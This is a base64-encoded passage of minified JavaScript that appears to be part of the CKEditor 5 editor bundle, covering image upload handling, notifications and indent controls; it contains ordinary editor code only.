iZXJyb3IiO3Rocm93IHR9KSl9YWJvcnQoKXtjb25zdCB0PXRoaXMuc3RhdHVzO3RoaXMuc3RhdHVzPSJhYm9ydGVkIjtpZighdGhpcy5fZmlsZVByb21pc2VXcmFwcGVyLmlzRnVsZmlsbGVkKXt0aGlzLl9maWxlUHJvbWlzZVdyYXBwZXIucHJvbWlzZS5jYXRjaCgoKCk9Pnt9KSk7dGhpcy5fZmlsZVByb21pc2VXcmFwcGVyLnJlamVjdGVyKCJhYm9ydGVkIil9ZWxzZSBpZih0PT0icmVhZGluZyIpe3RoaXMuX3JlYWRlci5hYm9ydCgpfWVsc2UgaWYodD09InVwbG9hZGluZyImJnRoaXMuX2FkYXB0ZXIuYWJvcnQpe3RoaXMuX2FkYXB0ZXIuYWJvcnQoKX10aGlzLl9kZXN0cm95KCl9X2Rlc3Ryb3koKXt0aGlzLl9maWxlUHJvbWlzZVdyYXBwZXI9dW5kZWZpbmVkO3RoaXMuX3JlYWRlcj11bmRlZmluZWQ7dGhpcy5fYWRhcHRlcj11bmRlZmluZWQ7dGhpcy51cGxvYWRSZXNwb25zZT11bmRlZmluZWR9X2NyZWF0ZUZpbGVQcm9taXNlV3JhcHBlcih0KXtjb25zdCBlPXt9O2UucHJvbWlzZT1uZXcgUHJvbWlzZSgoKG4saSk9PntlLnJlamVjdGVyPWk7ZS5pc0Z1bGZpbGxlZD1mYWxzZTt0LnRoZW4oKHQ9PntlLmlzRnVsZmlsbGVkPXRydWU7bih0KX0pKS5jYXRjaCgodD0+e2UuaXNGdWxmaWxsZWQ9dHJ1ZTtpKHQpfSkpfSkpO3JldHVybiBlfX1fcyhURCxKYyk7dmFyIElEPSc8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDcwMCAyNTAiPjxyZWN0IHJ4PSI0Ii8+PC9zdmc+Jzt2YXIgTkQ9big0Myk7dmFyIEJEPXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07QkQuaW5zZXJ0PSJoZWFkIjtCRC5zaW5nbGV0b249dHJ1ZTt2YXIgUEQ9cmsoKShORFsiYSJdLEJEKTt2YXIgekQ9TkRbImEiXS5sb2NhbHN8fHt9O3ZhciBMRD1uKDQ0KTt2YXIgT0Q9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTtPRC5pbnNlcnQ9ImhlYWQiO09ELnNpbmdsZXRvbj10cnVlO3ZhciBSRD1yaygpKExEWyJhIl0sT0QpO3ZhciBqRD1MRFsiYSJdLmxvY2Fsc3x8e307dmFyIEZEPW4oNDUpO3ZhciBWRD17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O1ZELmluc2VydD0iaGVhZCI7VkQuc2luZ2xldG9uPXRydWU7dmFyIFVEPXJrKCkoRkRbImEiXSxWRCk7dmFyIEhEPUZEWyJhIl0ubG9jYWxzfHx7fTtjbGFzcyBHRCBleHRlbmRzIG5De2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO3RoaXMucGxhY2Vob2xkZXI9ImRhdGE6aW1hZ2Uvc3ZnK3htbDt1dGY4LCIrZW5jb2RlVVJJQ29tcG9uZW50KElEKX1pbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjt0LmVkaXRpbmcuZG93bmNhc3REaXNwYXRjaGVyLm9uKCJhdHRyaWJ1dGU6dXBsb2FkU3RhdHVzOmltYWdlIiwoKC4uLnQpPT50aGlzLnVwbG9hZFN0YXR1c0NoYW5nZSguLi50KSkpfXVwbG9hZFN0YXR1c0NoYW5nZSh0LGUsbil7Y29uc3QgaT10aGlzLmVkaXRvcjtjb25zdCBvPWUuaXRlbTtjb25zdCByPW8uZ2V0QXR0cmlidXRlKCJ1cGxvYWRJZCIpO2lmKCFuLmNvbnN1bWFibGUuY29uc3VtZShlLml0ZW0sdC5uYW1lKSl7cmV0dXJufWNvbnN0IHM9aS5wbHVnaW5zLmdldChTRCk7Y29uc3QgYT1yP2UuYXR0cmlidXRlTmV3VmFsdWU6bnVsbDtjb25zdCBjPXRoaXMucGxhY2Vob2xkZXI7Y29uc3QgbD1pLmVkaXRpbmcubWFwcGVyLnRvVmlld0VsZW1lbnQobyk7Y29uc3QgZD1uLndyaXRlcjtpZihhPT0icmVhZGluZyIpe1dEKGwsZCk7cUQoYyxsLGQpO3JldHVybn1pZihhPT0idXBsb2FkaW5nIil7Y29uc3QgdD1zLmxvYWRlcnMuZ2V0KHIpO1dEKGwsZCk7aWYoIXQpe3FEKGMsbCxkKX1lbHNle1lEKGwsZCk7UUQobCxkLHQsaS5lZGl0aW5nLnZpZXcpO25FKGwsZCx0KX1yZXR1cm59aWYoYT09ImNvbXBsZXRlIiYmcy5sb2FkZXJzLmdldChyKSl7SkQobCxkLGkuZWRpdGluZy52aWV3KX0kRChsLGQpO1lEKGwsZCk7S0QobCxkKX19ZnVuY3Rpb24gV0QodCxlKXtpZighdC5oYXNDbGFzcygiY2stYXBwZWFyIikpe2UuYWRkQ2xhc3MoImNrLWFwcGVhciIsdCl9fWZ1bmN0aW9uIEtEKHQsZSl7ZS5yZW1vdmVDbGFzcygiY2stYXBwZWFyIix0KX1mdW5jdGlvbiBxRCh0LGUsbil7aWYoIWUuaGFzQ2xhc3MoImNrLWltYWdlLXVwbG9hZC1wbGFjZWhvbGRlciIpKXtuLmFkZENsYXNzKCJjay1pbWFnZS11cGxvYWQtcGxhY2Vob2xkZXIiLGUpfWNvbnN0IGk9cHYoZSk7aWYoaS5nZXRBdHRyaWJ1dGUoInNyYyIpIT09dCl7bi5zZXRBdHRyaWJ1dGUoInNyYyIsdCxpKX1pZighdEUoZSwicGxhY2Vob2xkZXIiKSl7bi5pbnNlcnQobi5jcmVhdGVQb3NpdGlvbkFmdGVyKGkpLFhEKG4pKX19ZnVuY3Rpb24gWUQodCxlKXtpZih0Lmhhc0NsYXNzKCJjay1pbWFnZS11cGxvYWQtcGxhY2Vob2xkZXIiKSl7ZS5yZW1vdmVDbGFzcygiY2staW1hZ2UtdXBsb2FkLXBsYWNlaG9sZGVyIix0KX1lRSh0LGUsInBsYWNlaG9sZGVyIil9ZnVuY3Rpb24gUUQodCxlLG4saSl7Y29uc3Qgbz1aRChlKTtlLmluc2VydChlLmNyZWF0ZVBvc2l0aW9uQXQodCwiZW5kIiksbyk7bi5vbigiY2hhbmdlOnVwbG9hZGVkUGVyY2VudCIsKCh0LGUsbik9PntpLmNoYW5nZSgodD0+e3Quc2V0U3R5bGUoIndpZHRoIixuKyIlIixvKX0pKX0pKX1mdW5jdGlvbiAkRCh0LGUpe2VFKHQsZSwicHJvZ3Jlc3NCYXIiKX1mdW5jdGlvbiBKRCh0LGUsbil7Y29uc3QgaT1lLmNyZWF0ZVVJRWxlbWVudCgiZGl2Iix7Y2xhc3M6ImNrLWltYWdlLXVwbG9hZC1jb21wbGV0ZS1pY29uIn0pO2UuaW5zZXJ0KGUuY3JlYXRlUG9zaXRpb25BdCh0LCJlbmQiKSxpKTtzZXRUaW1lb3V0KCgoKT0+e24uY2hhbmdlKCh0PT50LnJlbW92ZSh0LmNyZWF0ZVJhbmdlT24oaSkpKSl9KSwzZTMpfWZ1bmN0aW9uIFpEKHQpe2NvbnN0IGU9dC5jcmVhdGVVSUVsZW1lbnQoImRpdiIse2NsYXNzOiJjay1wcm9ncmVzcy1iYXIifSk7dC5zZXRDdXN0b21Qcm9wZXJ0eSgicHJvZ3Jlc3NCYXIiLHRydWUsZSk7cmV0dXJuIGV9ZnVuY3Rpb24gWEQodCl7Y29uc3QgZT10LmNyZWF0ZVVJRWxlbWVudCgiZGl2Iix7Y2xhc3M6ImNrLXVwbG9hZC1wbGFjZWhvbGRlci1sb2FkZXIifSk7dC5zZXRDdXN0b21Qcm9wZXJ0eSgicGxhY2Vob2xkZXIiLHRydWUsZSk7cmV0dXJuIGV9ZnVuY3Rpb24gdEUodCxlKXtmb3IoY29uc3QgbiBvZiB0LmdldENoaWxkcmVuKCkpe2lmKG4uZ2V0Q3VzdG9tUHJvcGVydHkoZSkpe3JldHVybiBufX19ZnVuY3Rpb24gZUUodCxlLG4pe2NvbnN0IGk9dEUodCxuKTtpZihpKXtlLnJlbW92ZShlLmNyZWF0ZVJhbmdlT24oaSkpfX1mdW5jdGlvbiBuRSh0LGUsbil7aWYobi5kYXRhKXtjb25zdCBpPXB2KHQpO2Uuc2V0QXR0cmlidXRlKCJzcmMiLG4uZGF0YSxpKX19Y2xhc3MgaUUgZXh0ZW5kcyBERHtzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iTm90aWZpY2F0aW9uIn1pbml0KCl7dGhpcy5vbigic2hvdzp3YXJuaW5nIiwoKHQsZSk9Pnt3aW5kb3cuYWxlcnQoZS5tZXNzYWdlKX0pLHtwcmlvcml0eToibG93ZXN0In0pfXNob3dTdWNjZXNzKHQsZT17fSl7dGhpcy5fc2hvd05vdGlmaWNhdGlvbih7bWVzc2FnZTp0LHR5cGU6InN1Y2Nlc3MiLG5hbWVzcGFjZTplLm5hbWVzcGFjZSx0aXRsZTplLnRpdGxlfSl9c2hvd0luZm8odCxlPXt9KXt0aGlzLl9zaG93Tm90aWZpY2F0aW9uKHttZXNzYWdlOnQsdHlwZToiaW5mbyIsbmFtZXNwYWNlOmUubmFtZXNwYWNlLHRpdGxlOmUudGl0bGV9KX1zaG93V2FybmluZyh0LGU9e30pe3RoaXMuX3Nob3dOb3RpZmljYXRpb24oe21lc3NhZ2U6dCx0eXBlOiJ3YXJuaW5nIixuYW1lc3BhY2U6ZS5uYW1lc3BhY2UsdGl0bGU6ZS50aXRsZX0pfV9zaG93Tm90aWZpY2F0aW9uKHQpe2NvbnN0IGU9YHNob3c6JHt0LnR5cGV9YCsodC5uYW1lc3BhY2U/YDoke3QubmFtZXNwYWNlfWA6IiIpO3RoaXMuZmlyZShlLHttZXNzYWdlOnQubWVzc2FnZSx0eXBlOnQudHlwZSx0aXRsZTp0LnRpdGxlfHwiIn0pfX1jbGFzcyBvRXtjb25zdHJ1Y3Rvcih0KXt0aGlzLmRvY3VtZW50PXR9Y3JlYXRlRG9jdW1lbnRGcmFnbWVudCh0KXtyZXR1cm4gbmV3IEpsKHRoaXMuZG9jdW1lbnQsdCl9Y3JlYXRlRWxlbWVudCh0LGUsbil7cmV0dXJuIG5ldyBqYyh0aGlzLmRvY3VtZW50LHQsZSxuKX1jcmVhdGVUZXh0KHQpe3JldHVybiBuZXcgVnModGhpcy5kb2N1bWVudCx0KX1jbG9uZSh0LGU9ZmFsc2Upe3JldHVybiB0Ll9jbG9uZShlKX1hcHBlbmRDaGlsZCh0LGUpe3JldHVybiBlLl9hcHBlbmRDaGlsZCh0KX1pbnNlcnRDaGlsZCh0LGUsbil7cmV0dXJuIG4uX2luc2VydENoaWxkKHQsZSl9cmVtb3ZlQ2hpbGRyZW4odCxlLG4pe3JldHVybiBuLl9yZW1vdmVDaGlsZHJlbih0LGUpfXJlbW92ZSh0KXtjb25zdCBlPXQucGFyZW50O2lmKGUpe3JldHVybiB0aGlzLnJlbW92ZUNoaWxkcmVuKGUuZ2V0Q2hpbGRJbmRleCh0KSwxLGUpfXJldHVybltdfXJlcGxhY2UodCxlKXtjb25zdCBuPXQucGFyZW50O2lmKG4pe2NvbnN0IGk9bi5nZXRDaGlsZEluZGV4KHQpO3RoaXMucmVtb3ZlQ2hpbGRyZW4oaSwxLG4pO3RoaXMuaW5zZXJ0Q2hpbGQoaSxlLG4pO3JldHVybiB0cnVlfXJldHVybiBmYWxzZX11bndyYXBFbGVtZW50KHQpe2NvbnN0IGU9dC5wYXJlbnQ7aWYoZSl7Y29uc3Qgbj1lLmdldENoaWxkSW5kZXgodCk7dGhpcy5yZW1vdmUodCk7dGhpcy5pbnNlcnRDaGlsZChuLHQuZ2V0Q2hpbGRyZW4oKSxlKX19cmVuYW1lKHQsZSl7Y29uc3Qgbj1uZXcgamModGhpcy5kb2N1bWVudCx0LGUuZ2V0QXR0cmlidXRlcygpLGUuZ2V0Q2hpbGRyZW4oKSk7cmV0dXJuIHRoaXMucmVwbGFjZShlLG4pP246bnVsbH1zZXRBdHRyaWJ1dGUodCxlLG4pe24uX3NldEF0dHJpYnV0ZSh0LGUpfXJlbW92ZUF0dHJpYnV0ZSh0LGUpe2UuX3JlbW92ZUF0dHJpYnV0ZSh0KX1hZGRDbGFzcyh0LGUpe2UuX2FkZENsYXNzKHQpfXJlbW92ZUNsYXNzKHQsZSl7ZS5fcmVtb3ZlQ2xhc3ModCl9c2V0U3R5bGUodCxlLG4pe2lmKFAodCkmJm49PT11bmRlZmluZWQpe249ZX1uLl9zZXRTdHlsZSh0LGUpfXJlbW92ZVN0eWxlKHQsZSl7ZS5fcmVtb3ZlU3R5bGUodCl9c2V0Q3VzdG9tUHJvcGVydHkodCxlLG4pe24uX3NldEN1c3RvbVByb3BlcnR5KHQsZSl9cmVtb3ZlQ3VzdG9tUHJvcGVydHkodCxlKXtyZXR1cm4gZS5fcmVtb3ZlQ3VzdG9tUHJvcGVydHkodCl9Y3JlYXRlUG9zaXRpb25BdCh0LGUpe3JldHVybiBobC5fY3JlYXRlQXQodCxlKX1jcmVhdGVQb3NpdGlvbkFmdGVyKHQpe3JldHVybiBobC5fY3JlYXRlQWZ0ZXIodCl9Y3JlYXRlUG9zaXRpb25CZWZvcmUodCl7cmV0dXJuIGhsLl9jcmVhdGVCZWZvcmUodCl9Y3JlYXRlUmFuZ2UodCxlKXtyZXR1cm4gbmV3IGZsKHQsZSl9Y3JlYXRlUmFuZ2VPbih0KXtyZXR1cm4gZmwuX2NyZWF0ZU9uKHQpfWNyZWF0ZVJhbmdlSW4odCl7cmV0dXJuIGZsLl9jcmVhdGVJbih0KX1jcmVhdGVTZWxlY3Rpb24odCxlLG4pe3JldHVybiBuZXcgcGwodCxlLG4pfX1jbGFzcyByRSBleHRlbmRzIG9De3JlZnJlc2goKXtjb25zdCB0PXRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbi5nZXRTZWxlY3RlZEVsZW1lbnQoKTtjb25zdCBlPXQmJnQubmFtZT09PSJpbWFnZSJ8fGZhbHNlO3RoaXMuaXNFbmFibGVkPWd2KHRoaXMuZWRpdG9yLm1vZGVsKXx8ZX1leGVjdXRlKHQpe2NvbnN0IGU9dGhpcy5lZGl0b3I7Y29uc3Qgbj1lLm1vZGVsO2NvbnN0IGk9ZS5wbHVnaW5zLmdldChTRCk7Zm9yKGNvbnN0IGUgb2YgeHModC5maWxlKSl7c0UobixpLGUpfX19ZnVuY3Rpb24gc0UodCxlLG4pe2NvbnN0IGk9ZS5jcmVhdGVMb2FkZXIobik7aWYoIWkpe3JldHVybn1tdih0LHt1cGxvYWRJZDppLmlkfSl9Y2xhc3MgYUUgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW1NELGlFLGlBXX1zdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iSW1hZ2VVcGxvYWRFZGl0aW5nIn1jb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTt0LmNvbmZpZy5kZWZpbmUoImltYWdlIix7dXBsb2FkOnt0eXBlczpbImpwZWciLCJwbmciLCJnaWYiLCJibXAiLCJ3ZWJwIiwidGlmZiJdfX0pfWluaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5tb2RlbC5kb2N1bWVudDtjb25zdCBuPXQubW9kZWwuc2NoZW1hO2NvbnN0IGk9dC5jb252ZXJzaW9uO2NvbnN0IG89dC5wbHVnaW5zLmdldChTRCk7Y29uc3Qgcj1DRCh0LmNvbmZpZy5nZXQoImltYWdlLnVwbG9hZC50eXBlcyIpKTtuLmV4dGVuZCgiaW1hZ2UiLHthbGxvd0F0dHJpYnV0ZXM6WyJ1cGxvYWRJZCIsInVwbG9hZFN0YXR1cyJdfSk7dC5jb21tYW5kcy5hZGQoImltYWdlVXBsb2FkIixuZXcgckUodCkpO2kuZm9yKCJ1cGNhc3QiKS5hdHRyaWJ1dGVUb0F0dHJpYnV0ZSh7dmlldzp7bmFtZToiaW1nIixrZXk6InVwbG9hZElkIn0sbW9kZWw6InVwbG9hZElkIn0pO3RoaXMubGlzdGVuVG8odC5lZGl0aW5nLnZpZXcuZG9jdW1lbnQsImNsaXBib2FyZElucHV0IiwoKGUsbik9PntpZihjRShuLmRhdGFUcmFuc2Zlcikpe3JldHVybn1jb25zdCBpPUFycmF5LmZyb20obi5kYXRhVHJhbnNmZXIuZmlsZXMpLmZpbHRlcigodD0+e2lmKCF0KXtyZXR1cm4gZmFsc2V9cmV0dXJuIHIudGVzdCh0LnR5cGUpfSkpO2NvbnN0IG89bi50YXJnZXRSYW5nZXMubWFwKChlPT50LmVkaXRpbmcubWFwcGVyLnRvTW9kZWxSYW5nZShlKSkpO3QubW9kZWwuY2hhbmdlKChuPT57bi5zZXRTZWxlY3Rpb24obyk7aWYoaS5sZW5ndGgpe2Uuc3RvcCgpO3QubW9kZWwuZW5xdWV1ZUNoYW5nZSgiZGVmYXVsdCIsKCgpPT57dC5leGVjdXRlKCJpbWFnZVVwbG9hZCIse2ZpbGU6aX0pfSkpfX0pKX0pKTt0aGlzLmxpc3RlblRvKHQucGx1Z2lucy5nZXQoaUEpLCJpbnB1dFRyYW5zZm9ybWF0aW9uIiwoKGUsbik9Pntjb25zdCBpPUFycmF5LmZyb20odC5lZGl0aW5nLnZpZXcuY3JlYXRlUmFuZ2VJbihuLmNvbnRlbnQpKS5maWx0ZXIoKHQ9Pl9EKHQuaXRlbSkmJiF0Lml0ZW0uZ2V0QXR0cmlidXRlKCJ1cGxvYWRQcm9jZXNzZWQiKSkpLm1hcCgodD0+KHtwcm9taXNlOkFEKHQuaXRlbSksaW1hZ2VFbGVtZW50OnQuaXRlbX0pKSk7aWYoIWkubGVuZ3RoKXtyZXR1cm59Y29uc3Qgcj1uZXcgb0UodC5lZGl0aW5nLnZpZXcuZG9jdW1lbnQpO2Zvcihjb25zdCB0IG9mIGkpe3Iuc2V0QXR0cmlidXRlKCJ1cGxvYWRQcm9jZXNzZWQiLHRydWUsdC5pbWFnZUVsZW1lbnQpO2NvbnN0IGU9by5jcmVhdGVMb2FkZXIodC5wcm9taXNlKTtpZihlKXtyLnNldEF0dHJpYnV0ZSgic3JjIiwiIix0LmltYWdlRWxlbWVudCk7ci5zZXRBdHRyaWJ1dGUoInVwbG9hZElkIixlLmlkLHQuaW1hZ2VFbGVtZW50KX19fSkpO3QuZWRpdGluZy52aWV3LmRvY3VtZW50Lm9uKCJkcmFnb3ZlciIsKCh0LGUpPT57ZS5wcmV2ZW50RGVmYXVsdCgpfSkpO2Uub24oImNoYW5nZSIsKCgpPT57Y29uc3Qgbj1lLmRpZmZlci5nZXRDaGFuZ2VzKHtpbmNsdWRlQ2hhbmdlc0luR3JhdmV5YXJkOnRydWV9KTtmb3IoY29uc3QgZSBvZiBuKXtpZihlLnR5cGU9PSJpbnNlcnQiJiZlLm5hbWUhPSIkdGV4dCIpe2NvbnN0IG49ZS5wb3NpdGlvbi5ub2RlQWZ0ZXI7Y29uc3QgaT1lLnBvc2l0aW9uLnJvb3Qucm9vdE5hbWU9PSIkZ3JhdmV5YXJkIjtmb3IoY29uc3QgZSBvZiBsRSh0LG4pKXtjb25zdCB0PWUuZ2V0QXR0cmlidXRlKCJ1cGxvYWRJZCIpO2lmKCF0KXtjb250aW51ZX1jb25zdCBuPW8ubG9hZGVycy5nZXQodCk7aWYoIW4pe2NvbnRpbnVlfWlmKGkpe24uYWJvcnQoKX1lbHNlIGlmKG4uc3RhdHVzPT0iaWRsZSIpe3RoaXMuX3JlYWRBbmRVcGxvYWQobixlKX19fX19KSl9X3JlYWRBbmRVcGxvYWQodCxlKXtjb25zdCBuPXRoaXMuZWRpdG9yO2NvbnN0IGk9bi5tb2RlbDtjb25zdCBvPW4ubG9jYWxlLnQ7Y29uc3Qgcj1uLnBsdWdpbnMuZ2V0KFNEKTtjb25zdCBzPW4ucGx1Z2lucy5nZXQoaUUpO2kuZW5xdWV1ZUNoYW5nZSgidHJhbnNwYXJlbnQiLCh0PT57dC5zZXRBdHRyaWJ1dGUoInVwbG9hZFN0YXR1cyIsInJlYWRpbmciLGUpfSkpO3JldHVybiB0LnJlYWQoKS50aGVuKCgoKT0+e2NvbnN0IG89dC51cGxvYWQoKTtpZihFbC5pc1NhZmFyaSl7Y29uc3QgdD1uLmVkaXRpbmcubWFwcGVyLnRvVmlld0VsZW1lbnQoZSk7Y29uc3QgaT1wdih0KTtuLmVkaXRpbmcudmlldy5vbmNlKCJyZW5kZXIiLCgoKT0+e2lmKCFpLnBhcmVudCl7cmV0dXJufWNvbnN0IHQ9bi5lZGl0aW5nLnZpZXcuZG9tQ29udmVydGVyLm1hcFZpZXdUb0RvbShpLnBhcmVudCk7aWYoIXQpe3JldHVybn1jb25zdCBlPXQuc3R5bGUuZGlzcGxheTt0LnN0eWxlLmRpc3BsYXk9Im5vbmUiO3QuX2NrSGFjaz10Lm9mZnNldEhlaWdodDt0LnN0eWxlLmRpc3BsYXk9ZX0pKX1pLmVucXVldWVDaGFuZ2UoInRyYW5zcGFyZW50IiwodD0+e3Quc2V0QXR0cmlidXRlKCJ1cGxvYWRTdGF0dXMiLCJ1cGxvYWRpbmciLGUpfSkpO3JldHVybiBvfSkpLnRoZW4oKHQ9PntpLmVucXVldWVDaGFuZ2UoInRyYW5zcGFyZW50Iiwobj0+e24uc2V0QXR0cmlidXRlcyh7dXBsb2FkU3RhdHVzOiJjb21wbGV0ZSIsc3JjOnQuZGVmYXVsdH0sZSk7dGhpcy5fcGFyc2VBbmRTZXRTcmNzZXRBdHRyaWJ1dGVPbkltYWdlKHQsZSxuKX0pKTthKCl9KSkuY2F0Y2goKG49PntpZih0LnN0YXR1cyE9PSJlcnJvciImJnQuc3RhdHVzIT09ImFib3J0ZWQiKXt0aHJvdyBufWlmKHQuc3RhdHVzPT0iZXJyb3IiJiZuKXtzLnNob3dXYXJuaW5nKG4se3RpdGxlOm8oIlVwbG9hZCBmYWlsZWQiKSxuYW1lc3BhY2U6InVwbG9hZCJ9KX1hKCk7aS5lbnF1ZXVlQ2hhbmdlKCJ0cmFuc3BhcmVudCIsKHQ9Pnt0LnJlbW92ZShlKX0pKX0pKTtmdW5jdGlvbiBhKCl7aS5lbnF1ZXVlQ2hhbmdlKCJ0cmFuc3BhcmVudCIsKHQ9Pnt0LnJlbW92ZUF0dHJpYnV0ZSgidXBsb2FkSWQiLGUpO3QucmVtb3ZlQXR0cmlidXRlKCJ1cGxvYWRTdGF0dXMiLGUpfSkpO3IuZGVzdHJveUxvYWRlcih0KX19X3BhcnNlQW5kU2V0U3Jjc2V0QXR0cmlidXRlT25JbWFnZSh0LGUsbil7bGV0IGk9MDtjb25zdCBvPU9iamVjdC5rZXlzKHQpLmZpbHRlcigodD0+e2NvbnN0IGU9cGFyc2VJbnQodCwxMCk7aWYoIWlzTmFOKGUpKXtpPU1hdGgubWF4KGksZSk7cmV0dXJuIHRydWV9fSkpLm1hcCgoZT0+YCR7dFtlXX0gJHtlfXdgKSkuam9pbigiLCAiKTtpZihvIT0iIil7bi5zZXRBdHRyaWJ1dGUoInNyY3NldCIse2RhdGE6byx3aWR0aDppfSxlKX19fWZ1bmN0aW9uIGNFKHQpe3JldHVybiBBcnJheS5mcm9tKHQudHlwZXMpLmluY2x1ZGVzKCJ0ZXh0L2h0bWwiKSYmdC5nZXREYXRhKCJ0ZXh0L2h0bWwiKSE9PSIifWZ1bmN0aW9uIGxFKHQsZSl7cmV0dXJuIEFycmF5LmZyb20odC5tb2RlbC5jcmVhdGVSYW5nZU9uKGUpKS5maWx0ZXIoKHQ9PnQuaXRlbS5pcygiZWxlbWVudCIsImltYWdlIikpKS5tYXAoKHQ9PnQuaXRlbSkpfWNsYXNzIGRFIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkltYWdlVXBsb2FkIn1zdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW2FFLHhELEdEXX19Y2xhc3MgdUUgZXh0ZW5kcyBvQ3tjb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTt0aGlzLl9jaGlsZENvbW1hbmRzPVtdfXJlZnJlc2goKXt9ZXhlY3V0ZSguLi50KXtjb25zdCBlPXRoaXMuX2dldEZpcnN0RW5hYmxlZENvbW1hbmQoKTtyZXR1cm4gZS5leGVjdXRlKHQpfXJlZ2lzdGVyQ2hpbGRDb21tYW5kKHQpe3RoaXMuX2NoaWxkQ29tbWFuZHMucHVzaCh0KTt0Lm9uKCJjaGFuZ2U6aXNFbmFibGVkIiwoKCk9PnRoaXMuX2NoZWNrRW5hYmxlZCgpKSk7dGhpcy5fY2hlY2tFbmFibGVkKCl9X2NoZWNrRW5hYmxlZCgpe3RoaXMuaXNFbmFibGVkPSEhdGhpcy5fZ2V0Rmlyc3RFbmFibGVkQ29tbWFuZCgpfV9nZXRGaXJzdEVuYWJsZWRDb21tYW5kKCl7cmV0dXJuIHRoaXMuX2NoaWxkQ29tbWFuZHMuZmluZCgodD0+dC5pc0VuYWJsZWQpKX19Y2xhc3MgaEUgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iSW5kZW50RWRpdGluZyJ9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7dC5jb21tYW5kcy5hZGQoImluZGVudCIsbmV3IHVFKHQpKTt0LmNvbW1hbmRzLmFkZCgib3V0ZGVudCIsbmV3IHVFKHQpKX19dmFyIGZFPSc8c3ZnIHZpZXdCb3g9IjAgMCAyMCAyMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMiAzLjc1YzAgLjQxNC4zMzYuNzUuNzUuNzVoMTQuNWEuNzUuNzUgMCAxIDAgMC0xLjVIMi43NWEuNzUuNzUgMCAwIDAtLjc1Ljc1em01IDZjMCAuNDE0LjMzNi43NS43NS43NWg5LjVhLjc1Ljc1IDAgMSAwIDAtMS41aC05LjVhLjc1Ljc1IDAgMCAwLS43NS43NXpNMi43NSAxNi41aDE0LjVhLjc1Ljc1IDAgMSAwIDAtMS41SDIuNzVhLjc1Ljc1IDAgMSAwIDAgMS41ek0xLjYzMiA2Ljk1TDUuMDIgOS4zNThhLjQuNCAwIDAgMS0uMDEzLjY2MWwtMy4zOSAyLjIwN0EuNC40IDAgMCAxIDEgMTEuODkyVjcuMjc1YS40LjQgMCAwIDEgLjYzMi0uMzI2eiIvPjwvc3ZnPic7dmFyIG1FPSc8c3ZnIHZpZXdCb3g9IjAgMCAyMCAyMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMiAzLjc1YzAgLjQxNC4zMzYuNzUuNzUuNzVoMTQuNWEuNzUuNzUgMCAxIDAgMC0xLjVIMi43NWEuNzUuNzUgMCAwIDAtLjc1Ljc1em01IDZjMCAuNDE0LjMzNi43NS43NS43NWg5LjVhLjc1Ljc1IDAgMSAwIDAtMS41aC05LjVhLjc1Ljc1IDAgMCAwLS43NS43NXpNMi43NSAxNi41aDE0LjVhLjc1Ljc1IDAgMSAwIDAtMS41SDIuNzVhLjc1Ljc1IDAgMSAwIDAgMS41em0xLjYxOC05LjU1TC45OCA5LjM1OGEuNC40IDAgMCAwIC4wMTMuNjYxbDMuMzkgMi4yMDdBLjQuNCAwIDAgMCA1IDExLjg5MlY3LjI3NWEuNC40IDAgMCAwLS42MzItLjMyNnoiLz48L3N2Zz4nO2NsYXNzIGdFIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkluZGVudFVJIn1pbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQubG9jYWxlO2NvbnN0IG49dC50O2NvbnN0IGk9ZS51aUxhbmd1YWdlRGlyZWN0aW9uPT0ibHRyIj9mRTptRTtjb25zdCBvPWUudWlMYW5ndWFnZURpcmVjdGlvbj09Imx0ciI/bUU6ZkU7dGhpcy5fZGVmaW5lQnV0dG9uKCJpbmRlbnQiLG4oIkluY3JlYXNlIGluZGVudCIpLGkpO3RoaXMuX2RlZmluZUJ1dHRvbigib3V0ZGVudCIsbigiRGVjcmVhc2UgaW5kZW50Iiksbyl9X2RlZmluZUJ1dHRvbih0LGUsbil7Y29uc3QgaT10aGlzLmVkaXRvcjtpLnVpLmNvbXBvbmVudEZhY3RvcnkuYWRkKHQsKG89Pntjb25zdCByPWkuY29tbWFuZHMuZ2V0KHQpO2NvbnN0IHM9bmV3IGN3KG8pO3Muc2V0KHtsYWJlbDplLGljb246bix0b29sdGlwOnRydWV9KTtzLmJpbmQoImlzT24iLCJpc0VuYWJsZWQiKS50byhyLCJ2YWx1ZSIsImlzRW5hYmxlZCIpO3RoaXMubGlzdGVuVG8ocywiZXhlY3V0ZSIsKCgpPT57aS5leGVjdXRlKHQpO2kuZWRpdGluZy52aWV3LmZvY3VzKCl9KSk7cmV0dXJuIHN9KSl9fWNsYXNzIHBFIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkluZGVudCJ9c3RhdGljIGdldCByZXF1aXJlc